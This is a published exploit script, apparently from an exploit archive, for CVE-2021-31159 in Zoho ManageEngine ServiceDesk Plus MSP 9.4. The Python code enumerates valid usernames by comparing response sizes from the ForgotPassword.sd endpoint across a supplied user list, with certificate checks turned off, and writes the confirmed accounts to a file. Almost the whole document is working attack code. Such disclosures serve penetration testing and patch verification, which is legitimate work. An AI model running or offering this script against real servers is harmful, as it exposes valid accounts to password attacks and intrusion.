Zoho ManageEngine ServiceDesk Plus MSP 9.4 – User Enumeration
# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration # Date: 17/06/2021 # Exploit Author: Ricardo Ruiz (@ricardojoserf) # CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159) # Vendor Homepage: https://www.manageengine.com # Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519 # Version: Previous to build 10519 # Tested on: Zoho ManageEngine ServiceDesk Plus 9.4 # Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE] # Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159 import argparse import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack') parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack') parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file') my_args = parser.parse_args() return my_args def main(): args = get_args() url = args.target domain = args.domain usersfile = args.usersfile outputfile = args.outputfile s = requests.session() s.get(url) resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False) incorrect_size = len(resp_incorrect.content) print("Incorrect size: %s"%(incorrect_size)) correct_users = [] users = open(usersfile).read().splitlines() for u in users: resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) valid = (len(resp.content) != incorrect_size) if valid: correct_users.append(u) print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid))) print("\nCorrect users\n") with open(outputfile, 'w') as f: for user in correct_users: f.write("%s\n" % user) print("- %s"%(user)) print("\nResults stored in %s\n"%(outputfile)) if __name__ == "__main__": main() |